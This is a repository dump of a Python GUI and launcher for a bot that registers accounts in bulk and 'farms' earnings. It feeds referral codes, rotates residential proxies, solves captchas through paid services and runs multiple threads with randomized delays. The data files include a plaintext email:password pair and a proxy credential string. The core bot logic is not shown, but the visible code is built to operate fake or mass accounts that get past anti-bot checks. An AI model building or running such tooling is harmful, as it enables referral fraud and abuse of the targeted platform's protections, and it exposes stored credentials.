earnings_button_style = { "fg_color": "#E9E4FF", # Light purple background "hover_color": "#D6D6F5", # Slightly darker on hover "corner_radius": 8, "border_width": 1, "border_color": "#593FDE", # Purple border "font": ("Helvetica", 12), # Smaller font "text_color": "#593FDE", # Purple text "width": 100, # Fixed width "height": 28 # Smaller height } self.register_button = ctk.CTkButton( self.buttons_frame, text="Register Accounts", command=self.register_accounts, **main_button_style ) self.register_button.pack(side="left", padx=(0, 10), expand=True, fill="x") self.mining_button = ctk.CTkButton( self.buttons_frame, text="Start Farm", command=self.start_mining, **main_button_style ) self.mining_button.pack(side="left", padx=(0, 10), expand=True, fill="x") self.stop_button = ctk.CTkButton( self.buttons_frame, text="Stop Bot", command=self.stop_bot, **main_button_style ) self.stop_button.pack(side="left", padx=(0, 10), expand=True, fill="x") # Add View Earnings button with different style self.view_earnings_button = ctk.CTkButton( self.buttons_frame, text="View Earnings", command=self.view_earnings, **earnings_button_style ) self.view_earnings_button.pack(side="left", expand=False) # Changed to expand=False # Log frame self.log_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF") self.log_frame.pack(fill="both", expand=True, padx=20, pady=(0, 20)) self.log_box = Text( self.log_frame, wrap="word", bg="#F8F9FA", fg="#2E3A59", font=("Consolas", 12), relief="flat", borderwidth=0, highlightthickness=0 ) self.log_box.pack(fill="both", expand=True, padx=10, pady=10) # Apply styles self.beautify_ui() # Load saved values self.load_values() def create_file_selection(self, label_text, command): frame = ctk.CTkFrame(self.file_frame, fg_color="#FFFFFF") frame.pack(fill="x", pady=5) label = ctk.CTkLabel( frame, text=label_text, font=("Helvetica", 14), fg_color="#FFFFFF" ) label.pack(side="left") button = ctk.CTkButton( frame, text="Select File", command=command, fg_color="#E9E4FF", text_color="#2E3A59", hover_color="#D6D6F5", corner_radius=10, width=200, font=("Helvetica", 14) ) button.pack(side="right") return label, button def create_input_field(self, label_text, widget): label = ctk.CTkLabel( self.input_frame, text=label_text, font=("Helvetica", 14), fg_color="#FFFFFF", text_color="#2E3A59" ) if isinstance(widget, ctk.CTkEntry): widget.configure( height=30, font=("Helvetica", 14), fg_color="#FFFFFF", border_color="#4A55A2", border_width=1, corner_radius=5 ) elif isinstance(widget, ctk.CTkOptionMenu): widget.configure( height=30, font=("Helvetica", 14), fg_color="#FFFFFF", button_color="#4A55A2", button_hover_color="#3D478F", dropdown_fg_color="#FFFFFF", dropdown_hover_color="#E9E4FF", corner_radius=5 ) return label, widget def open_link(self, url): webbrowser.open(url) def on_mousewheel(self, event): if os.name == 'nt': self.log_box.yview_scroll(int(-1*(event.delta/120)), "units") elif event.num == 4: self.log_box.yview_scroll(-1, "units") elif event.num == 5: self.log_box.yview_scroll(1, "units") def load_accounts_file(self): file_path = filedialog.askopenfilename(title="Select Accounts File") if file_path: self.accounts_path = file_path filename = os.path.basename(file_path) self.accounts_button.configure(text=filename) def load_proxies_file(self): file_path = filedialog.askopenfilename(title="Select Proxies File") if file_path: self.proxies_path = file_path filename = os.path.basename(file_path) self.proxies_button.configure(text=filename) def save_settings(self): ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()] self.config['DEFAULT'] = { 'AccountsFile': getattr(self, 'accounts_path', ''), 'ProxiesFile': getattr(self, 'proxies_path', ''), 'ReferralCodes': ','.join(ref_codes), 'Threads': self.threads_entry.get(), 'CaptchaService': self.captcha_service_var.get(), 'CaptchaAPIKey': self.captcha_api_entry.get(), 'DelayMin': self.delay_min_entry.get(), 'DelayMax': self.delay_max_entry.get() } with open(CONFIG_FILE, 'w') as configfile: self.config.write(configfile) def load_settings(self): if os.path.exists(CONFIG_FILE): self.config.read(CONFIG_FILE) else: self.config['DEFAULT'] = { 'AccountsFile': '', 'ProxiesFile': '', 'ReferralCodes': '', 'Threads': '5', 'CaptchaService': 'capmonster', 'CaptchaAPIKey': '', 'DelayMin': '1', 'DelayMax': '2' } def load_values(self): accounts = self.config['DEFAULT'].get('AccountsFile', '') proxies = self.config['DEFAULT'].get('ProxiesFile', '') self.accounts_path = accounts self.proxies_path = proxies ref_codes = self.config['DEFAULT'].get('ReferralCodes', '') self.ref_code_entry.delete(0, 'end') self.ref_code_entry.insert(0, ref_codes) threads = self.config['DEFAULT'].get('Threads', '5') self.threads_entry.insert(0, threads) self.captcha_service_var.set(self.config['DEFAULT'].get('CaptchaService', 'capmonster')) self.captcha_api_entry.insert(0, self.config['DEFAULT'].get('CaptchaAPIKey', '')) self.delay_min_entry.insert(0, self.config['DEFAULT'].get('DelayMin', '1')) self.delay_max_entry.insert(0, self.config['DEFAULT'].get('DelayMax', '2')) if self.accounts_path: accounts_filename = os.path.basename(self.accounts_path) self.accounts_button.configure(text=accounts_filename) if self.proxies_path: proxies_filename = os.path.basename(self.proxies_path) self.proxies_button.configure(text=proxies_filename) def setup_logger(self): logger.remove() # Configure text styles with bigger font and colors self.log_box.tag_configure("INFO", foreground="black", font=("Consolas", 14)) self.log_box.tag_configure("ERROR", foreground="red", font=("Consolas", 14, "bold")) self.log_box.tag_configure("WARNING", foreground="orange", font=("Consolas", 14)) self.log_box.tag_configure("DEBUG", foreground="purple", font=("Consolas", 14)) self.log_box.tag_configure("SUCCESS", foreground="green", font=("Consolas", 14, "bold")) def gui_log_sink(message): log_text = message.strip() level = message.record["level"].name if level == "INFO": tag = "INFO" elif level == "ERROR": tag = "ERROR" elif level == "WARNING": tag = "WARNING" elif level == "DEBUG": tag = "DEBUG" elif level == "SUCCESS": tag = "SUCCESS" else: tag = "INFO" self.root.after(0, self.append_log, log_text, tag) logger.add(gui_log_sink, format="{time} {level} {message}", level="DEBUG") def append_log(self, log_text, tag): self.log_box.configure(state="normal") self.log_box.insert(END, log_text + "\n", tag) self.log_box.configure(state="disabled") self.log_box.see(END) def register_accounts(self): captcha_service_var = self.captcha_service_var.get() if captcha_service_var == 'anticaptcha': self.CaptchaService = ServiceAnticaptcha elif captcha_service_var == 'capmonster': self.CaptchaService = ServiceCapmonster elif captcha_service_var == '2captcha': self.CaptchaService = Service2Captcha if not self.validate_inputs(): return self.save_settings() if not self.running: ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()] delay_min = float(self.delay_min_entry.get()) delay_max = float(self.delay_max_entry.get()) self.bot = Bot( account_path=self.accounts_path, proxy_path=self.proxies_path, threads=int(self.threads_entry.get()), ref_codes=ref_codes, captcha_service=self.CaptchaService(api_key=self.captcha_api_entry.get()), delay_range=(delay_min, delay_max)) self.bot_thread = threading.Thread(target=asyncio.run, args=(self.bot.start_registration(),), daemon=True) self.bot_thread.start() self.running = True logger.info("Started account registration with slow start.") def start_mining(self): captcha_service_var = self.captcha_service_var.get() if captcha_service_var == 'anticaptcha': self.CaptchaService = ServiceAnticaptcha elif captcha_service_var == 'capmonster': self.CaptchaService = ServiceCapmonster elif captcha_service_var == '2captcha': self.CaptchaService = Service2Captcha if not self.validate_inputs(): return self.save_settings() if not self.running: ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()] delay_min = float(self.delay_min_entry.get()) delay_max = float(self.delay_max_entry.get()) self.bot = Bot( account_path=self.accounts_path, proxy_path=self.proxies_path, threads=int(self.threads_entry.get()), ref_codes=ref_codes, captcha_service=self.CaptchaService(api_key=self.captcha_api_entry.get()), delay_range=(delay_min, delay_max) ) self.bot_thread = threading.Thread(target=asyncio.run, args=(self.bot.start_mining(),), daemon=True) self.bot_thread.start() self.running = True def stop_bot(self): if self.running and self.bot: self.bot.stop() self.running = False logger.info("Bot stopped.") if self.bot_thread: self.bot_thread.join(timeout=1) # Wait for the thread to finish # if self.bot_thread.is_alive(): # logger.warning("Bot thread did not stop in time.") else: logger.warning("Bot is not running.") def validate_inputs(self): if not getattr(self, 'accounts_path', ''): logger.error("Error: Accounts file not selected!") messagebox.showerror("Error", "Accounts file not selected!") return False if not getattr(self, 'proxies_path', ''): logger.error("Error: Proxies file not selected!") messagebox.showerror("Error", "Proxies file not selected!") return False if not self.captcha_api_entry.get(): logger.error("Error: Captcha API key is missing!") messagebox.showerror("Error", "Captcha API key is missing!") return False try: threads = int(self.threads_entry.get()) if threads <= 0: raise ValueError except ValueError: logger.error("Error: Number of threads must be a positive integer!") messagebox.showerror("Error", "Number of threads must be a positive integer!") return False try: delay_min = float(self.delay_min_entry.get()) delay_max = float(self.delay_max_entry.get()) if delay_min < 0 or delay_max < 0 or delay_min > delay_max: raise ValueError except ValueError: logger.error("Error: Invalid delay range!") messagebox.showerror("Error", "Invalid delay range! Please enter valid positive numbers, with min <= max.") return False return True def beautify_ui(self): self.root.configure(bg="#F1F3FF") self.main_frame.configure(fg_color="#F1F3FF") # Update entry styles entry_style = { "fg_color": "#FFFFFF", "border_color": "#4A55A2", "border_width": 1, "corner_radius": 10 } for entry in [self.threads_entry, self.captcha_api_entry, self.ref_code_entry, self.delay_min_entry, self.delay_max_entry]: entry.configure(**entry_style) # Update label styles label_style = { "font": ("Helvetica", 14), "text_color": "#2E3A59" } for label in [self.accounts_label, self.proxies_label, self.threads_label, self.captcha_label, self.captcha_api_label, self.ref_code_label, self.delay_label]: label.configure(**label_style) # Update log box style with bigger font self.log_box.configure( bg="#F8F9FA", fg="#2E3A59", font=("Consolas", 14), # Increased font size relief="flat", padx=10, pady=10 ) def toggle_ref_code_visibility(self): if self.ref_code_label.winfo_viewable(): self.ref_code_label.grid_remove() self.ref_code_entry.grid_remove() self.toggle_ref_code_button.configure(text="⋮") else: self.ref_code_label.grid() self.ref_code_entry.grid() self.toggle_ref_code_button.configure(text="×") def view_earnings(self): try: # Store earnings window as class attribute if hasattr(self, 'earnings_window') and self.earnings_window.winfo_exists(): self.earnings_window.lift() # Bring window to front if it exists return with open('data/earnings.csv', 'r', newline='') as f: reader = csv.reader(f) next(reader) # Skip header earnings_data = list(reader) # Create a new window to display earnings self.earnings_window = ctk.CTkToplevel() self.earnings_window.title("Account Earnings") self.earnings_window.geometry("500x300") self.earnings_window.configure(fg_color="#F1F3FF") # Position the window to the right of the main window main_x = self.root.winfo_x() main_y = self.root.winfo_y() self.earnings_window.geometry(f"+{main_x + self.root.winfo_width() + 10}+{main_y}") # Create a frame for the content content_frame = ctk.CTkFrame(self.earnings_window, fg_color="#FFFFFF", corner_radius=10) content_frame.pack(fill="both", expand=True, padx=10, pady=10) # Create a text widget to display the data self.earnings_text = Text( content_frame, wrap="none", bg="#FFFFFF", fg="#2E3A59", font=("Consolas", 12), relief="flat", padx=10, pady=10, height=15 ) self.earnings_text.pack(fill="both", expand=True, padx=5, pady=5) # Add scrollbars y_scrollbar = ctk.CTkScrollbar(content_frame, command=self.earnings_text.yview) y_scrollbar.pack(side="right", fill="y") x_scrollbar = ctk.CTkScrollbar(content_frame, command=self.earnings_text.xview, orientation="horizontal") x_scrollbar.pack(side="bottom", fill="x") self.earnings_text.configure(yscrollcommand=y_scrollbar.set, xscrollcommand=x_scrollbar.set) # Configure tags for styling self.earnings_text.tag_configure("header", font=("Consolas", 12, "bold"), foreground="#4A55A2") self.earnings_text.tag_configure("separator", foreground="#4A55A2") self.earnings_text.tag_configure("data", font=("Consolas", 11)) self.earnings_text.tag_configure("earnings", foreground="#593FDE", font=("Consolas", 11, "bold")) def update_earnings(): if not self.earnings_window.winfo_exists(): return try: with open('data/earnings.csv', 'r', newline='') as f: reader = csv.reader(f) next(reader) # Skip header current_data = list(reader) self.earnings_text.configure(state="normal") self.earnings_text.delete("1.0", "end") # Format and display the data self.earnings_text.insert("1.0", f"{'Email':<35} {'Last Update':<20} {'Total Earnings':<15}\n", "header") self.earnings_text.insert("2.0", "─" * 70 + "\n", "separator") for email, last_update, total_earning in current_data: line = f"{email:<35} {last_update:<20} " self.earnings_text.insert("end", line, "data") self.earnings_text.insert("end", f"{total_earning:>15}\n", "earnings") self.earnings_text.configure(state="disabled") # Schedule next update self.earnings_window.after(5000, update_earnings) # Update every 5 seconds except Exception as e: logger.error(f"Error updating earnings: {e}") # Initial display update_earnings() # Make the window stay on top self.earnings_window.attributes('-topmost', True) self.earnings_window.update() except FileNotFoundError: messagebox.showinfo("No Data", "No earnings data available yet.") except Exception as e: logger.error(f"Error viewing earnings: {e}") messagebox.showerror("Error", f"Failed to load earnings data: {e}") if __name__ == "__main__": root = ctk.CTk() app = BotGUI(root) app.setup_logger() root.mainloop() ================================================ FILE: data/accounts.txt ================================================ asdasd1222c@gmail.com:3pQ2sm,@sDE/g ================================================ FILE: data/proxies.txt ================================================ http://118.193.59.207:16666:tensd2xasd50-zone-resi-region-gb-session-f2xiRzReoFba-sessTime-3600:hppsddfosdgxs ================================================ FILE: data/settings.ini ================================================ [DEFAULT] accountsfile = proxiesfile = referralcodes = threads = 5 captchaservice = capmonster captchaapikey = delaymin = 1 delaymax = 2 ================================================ FILE: main.py ================================================ import asyncio import sys from core.utils.logger import logger def check_tkinter_available(): try: import customtkinter return True except ImportError: return False if __name__ == "__main__": if sys.platform == 'win32': asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) try: if check_tkinter_available(): logger.info("Starting GUI version...") import customtkinter as ctk from customtkinter_gui import BotGUI root = ctk.CTk() app = BotGUI(root) app.setup_logger() root.mainloop() else: logger.info("Starting console version...") from core.menu import ConsoleMenu menu = ConsoleMenu() asyncio.run(menu.run()) except KeyboardInterrupt: logger.info("Application terminated by user") ================================================ FILE: requirements.txt ================================================ PyJWT~=2.9.0 loguru~=0.7.2 pyuseragents~=1.0.5 capmonster_python==3.2.0 Faker~=30.6.0 tenacity~=9.0.0 art~=6.3 termcolor~=2.5.0 flet~=0.24.1 customtkinter~=5.2.2 pillow~=11.0.0 curl_cffi~=0.7.3 random-username~=1.0.2 better-proxy==1.2.0 anticaptchaofficial 2captcha-python